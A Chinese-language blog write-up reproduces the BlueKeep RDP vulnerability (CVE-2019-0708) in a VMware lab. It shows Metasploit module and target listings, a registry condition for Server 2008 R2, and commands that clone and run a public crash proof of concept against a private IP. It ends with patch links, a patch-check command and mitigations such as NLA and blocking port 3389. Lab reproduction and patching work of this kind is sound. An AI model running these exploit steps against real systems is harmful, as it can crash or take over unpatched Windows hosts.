CVE-2019-0708 RDP远程代码执行漏洞复现

前言：

---

之后关于主机漏洞复现的文章应该不会写了，现在企业的业务基本都上云了，在终端安全这一块会实时定期进行漏洞检测，所以说互联网上的主机漏洞会越来越少

漏洞描述：

BlueKeep（CVE-2019-0708）是微软远程桌面协议（RDP）实现中发现的一个安全漏洞，它允许远程执行代码。

影响范围：

Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

Windows 8和Windows 10及之后版本的用户不受此漏洞影响。

复现过程：

---

Kali中的metasploit已附带poc和exp

msf5 > search cve-2019-0708

Matching Modules
================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
   1  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free

注意：exp模块仅支持64位win 7 sp 1，2008 R2

根据目标主机系统类型，选择相应的目标：

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
   5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
   6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
   7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
   8   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)

目标环境为VM15，设置为target 1。在测试时候发现会发大概250M的包，选错架构会导致蓝屏、利用失败等问题。类型选对了，还是会有概率发生蓝屏的现象

补充：
目前公开的利用代码可用于攻击 Windows 7 SP1 x64 与 Windows 2008 R2 x64，该EXP并不稳定，针对 Windows 7 SP1 x64攻击有可能导致蓝屏。
Windows2008 R2 x64 需要注册表

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam

修改为0才能攻击成功

利用脚本进行攻击：

git clone https://github.com/n1xbyte/CVE-2019-0708.git
pip3 install impacket
pip3 install Structure

python3 crashpoc.py 192.168.107.145 64
 #ip地址 系统版本

修复手段：

---

1、官方补丁下载链接：

操作系统版本	补丁下载链接
Windows 7 x86	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x86_6f1319c32d5bc4caf2058ae8ff40789ab10bf41b.msu
Windows 7 x64	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
Windows Embedded Standard 7 for x64	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
Windows Embedded Standard 7 for x86	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x86_6f1319c32d5bc4caf2058ae8ff40789ab10bf41b.msu
Windows Server 2008 x64	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu
Windows Server 2008 Itanium	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu
Windows Server 2008 x86	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu
Windows Server 2008 R2 Itanium	http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu
Windows Server 2008 R2 x64	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
Windows Server 2003 x86	http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe
Windows Server 2003 x64	http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe
Windows XP SP3	http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe
Windows XP SP2 for x64	http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe
Windows XP SP3 for XPe	http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe
WES09 and POSReady 2009	http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/04/windowsxp-kb4500331-x86-embedded-chs_e3fceca22313ca5cdda811f49a606a6632b51c1c.exe

输入下方的命令检测补丁是否安装成功：

 wmic qfe list|findstr "4499164 4499175 4499149 4499180 4500705"

2、若用户不需要用到远程桌面服务，建议禁用该服务
3、在防火墙中对TCP 3389端口进行阻断
4、开启系统防火墙或IP安全策略限制来源IP，即只允许指定IP访问
5、启用网络级认证（NLA），此方案适用于Windows 7, Windows Server 2008, and Windows Server 2008 R2，选择“我的电脑”→“属性”→“远程设置”→“远程”，启用网路级认证（NLA），这样需要一个远程桌面用户认证后，才能进行攻击

一键检测工具：
http://dl.360safe.com/leakfixer/360SysVulTerminator.exe

参考如下：

---

CVE-2019-0708微软RDP远程代码执行漏洞复现
CVE-2019-0708在野利用威胁预警
[漏洞复现] 二.Windows远程桌面服务漏洞（CVE-2019-0708）复现及详解